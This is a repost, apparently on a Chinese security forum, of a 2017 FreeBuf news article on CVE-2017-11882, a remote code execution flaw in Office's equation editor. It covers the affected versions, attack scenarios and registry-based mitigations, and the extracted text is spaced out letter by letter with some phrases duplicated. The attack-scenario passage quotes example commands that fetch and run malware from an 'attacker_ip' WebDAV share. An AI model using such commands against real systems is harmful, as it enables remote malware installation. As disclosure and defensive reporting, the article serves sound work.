搜索

[12031] 2017-11-20_微软Office曝存在17年之久的“全版本影响”老洞，无需用户交互实现恶意程序远程植入

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2017-11-20_微软Office曝存在17年之久的“全版本影响”老洞，无需用户交互实现恶意程序远程植入 微 软 O f f i c e 曝 存 在 1 7 年 之 久 的 “ 全 版 本 影 响 ” 老 洞 ， 无 需 用 户 交 互 实 现 恶 意 程 序 远 程 植 入 c l o u d s   F r e e B u f   2 0 1 7 - 1 1 - 2 0 当 人 们 仍 在 着 急 处 理 当 人 们 仍 在 着 急 处 理 “ 没 有 补 丁 没 有 补 丁 ” 的 微 软 的 微 软 M S   O f f i c e 内 置 内 置 D D E 功 能 威 胁 时 ， 有 研 究 人 员 又 发 现 了 功 能 威 胁 时 ， 有 研 究 人 员 又 发 现 了 O f f i c e 的 另 一 个 严 的 另 一 个 严 重 漏 洞 ， 攻 击 者 可 以 利 用 该 漏 洞 ， 无 需 受 害 者 用 户 交 互 ， 远 程 向 目 标 系 统 植 入 恶 意 软 件 。 该 漏 洞 属 于 内 存 破 坏 重 漏 洞 ， 攻 击 者 可 以 利 用 该 漏 洞 ， 无 需 受 害 者 用 户 交 互 ， 远 程 向 目 标 系 统 植 入 恶 意 软 件 。 该 漏 洞 属 于 内 存 破 坏 型 漏 洞 ， 可 影 响 微 软 过 去 型 漏 洞 ， 可 影 响 微 软 过 去 1 7 年 发 布 的 所 有 年 发 布 的 所 有 M S   O f f i c e 版 本 软 件 ， 包 括 最 新 的 版 本 软 件 ， 包 括 最 新 的 O f f i c e   3 6 5 ， 漏 洞 利 用 能 成 功 在 包 括 ， 漏 洞 利 用 能 成 功 在 包 括 W i n d o w s   1 0 在 内 的 所 有 微 软 在 内 的 所 有 微 软 W i n d o w s 操 作 系 统 中 实 现 。 操 作 系 统 中 实 现 。 C V E - 2 0 1 7 - 1 1 8 8 2 漏 洞 P O C 样 本 分 析 ： 【 传 送 门 】 漏 洞 信 息 漏 洞 信 息 该 漏 洞 由 E m b e d i 公 司 研 究 员 发 现 ， 漏 洞 可 导 致 远 程 代 码 执 行 、 未 授 权 认 证 绕 过 、 无 需 用 户 交 互 的 远 程 恶 意 程 序 植 入 。 目 前 漏 洞 编 号 C V E - 2 0 1 7 - 1 1 8 8 2 ， 主 要 漏 洞 部 件 为 O f f i c e 中 的 自 带 公 式 编 辑 器 E Q N E D T 3 2 . E X E 。 由 于 不 正 确 的 内 存 操 作 ， 组 件 E Q N E D T 3 2 . E X E 会 无 法 正 确 处 理 内 存 中 的 执 行 对 象 ， 这 种 破 坏 条 件 ， 致 使 攻 击 者 可 在 当 前 系 统 登 录 用 户 环 境 下 ， 利 用 O f f i c e 远 程 植 入 恶 意 代 码 或 其 它 恶 意 程 序 。 微 软 在 M i c r o s o f t   O f f i c e   2 0 0 0 中 就 引 入 了 E Q N E D T 3 2 . E X E 组 件 ， 并 保 留 至 M i c r o s o f t   O f f i c e   2 0 0 7 之 后 发 布 的 所 有 O f f i c e   版 本 中 ， 以 确 保 新 旧 软 件 的 文 档 兼 容 。 该 漏 洞 的 成 功 利 用 需 要 受 害 者 用 O f f i c e 打 开 攻 击 者 特 制 的 恶 意 文 档 ， 如 果 与 微 软 的 内 核 提 权 漏 洞 （ 如 C V E - 2 0 1 7 - 1 1 8 4 7 ） 组 合 利 用 ， 攻 击 者 将 会 获 得 受 害 者 目 标 系 统 的 完 全 控 制 权 。 以 下 视 频 是 在 W i n d o w s   7 , 8 , 1 0 系 统 中 该 漏 洞 的 成 功 实 现 过 程 演 示 ： 漏 洞 技 术 分 析 详 情 查 看 E m b e d i 分 析 报 告 《 微 软 的 难 言 之 隐 - 你 所 不 知 道 的 漏 洞 》 可 能 的 攻 击 场 景 可 能 的 攻 击 场 景 E m b e d i 研 究 者 列 举 了 以 下 几 种 该 漏 洞 的 可 攻 击 利 用 场 景 ： 当 插 入 一 些 O L E （ 对 象 链 接 嵌 入 ） 实 体 时 ， 可 能 会 触 发 该 漏 洞 ， 实 现 一 些 恶 意 命 令 的 执 行 ， 如 向 某 个 攻 击 者
架 设 网 站 下 载 执 行 恶 意 程 序 等 。 最 直 接 有 效 的 漏 洞 利 用 方 式 就 是 ， 访 问 攻 击 者 架 设 或 控 制 的 W e b D A V 服 务 器 ， 并 执 行 其 中 的 运 行 程 序 。 不 过 ， 攻 击 者 还 能 利 用 该 漏 洞 执 行 c m d . e x e   / c   s t a r t   a t t a c k e r _ i p f f 类 似 恶 意 命 令 ， 配 合 入 侵 或 启 动 W e b C l i e n t 服 务 。 另 外 ， 攻 击 者 还 能 使 用 诸 如 a t t a c k e r _ i p f f 1 . e x e 的 命 令 向 受 害 者 系 统 中 执 行 恶 意 程 序 ， 恶 意 程 序 的 启 动 机 制 与 l i v e . s y s i n t e r n a l s . c o m t o o l s   s e r v i c e 方 式 类 似 。 缓 解 和 修 复 措 施 缓 解 和 修 复 措 施 在 1 1 月 的 补 丁 修 复 周 期 中 ， 微 软 针 对 该 漏 洞 修 改 了 E Q N E D T 3 2 . E X E 组 件 的 内 存 处 理 机 制 ， 并 发 布 了 多 个 漏 洞 补 丁 更 新 ， 强 烈 建 议 用 户 及 时 进 行 下 载 更 新 。 鉴 于 E Q N E D T 3 2 . E X E 组 件 的 不 确 定 隐 患 ， 我 们 建 议 用 户 通 过 以 下 注 册 表 命 令 来 对 其 进 行 禁 用 ： r e g   a d d   “ H K L M S O F T W A R E M i c r o s o f t O f f i c e C o m m o n C O M   C o m p a t i b i l i t y { 0 0 0 2 C E 0 2 - 0 0 0 0 - 0 0 0 0 - C 0 0 0 - 0 0 0 0 0 0 0 0 0 0 4 6 } ”   / v   “ C o m p a t i b i l i t y   F l a g s ”   / t   R E G _ D W O R D   / d   0 x 4 0 0 如 果 在 6 4 位 操 作 系 统 中 安 装 了 3 2 位 的 M S   O f f i c e 软 件 ， 命 令 如 下 ： r e g   a d d   “ H K L M S O F T W A R E W o w 6 4 3 2 N o d e M i c r o s o f t O f f i c e C o m m o n C O M   C o m p a t i b i l i t y { 0 0 0 2 C E 0 2 - 0 0 0 0 - 0 0 0 0 - C 0 0 0 - 0 0 0 0 0 0 0 0 0 0 4 6 } ”   / v   “ C o m p a t i b i l i t y   F l a g s ”   / t   R E G _ D W O R D   / d   0 x 4 0 0 * 参 考 来 源 ： 参 考 来 源 ： t h n ， ， f r e e b u f 小 编 小 编 c l o u d s 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理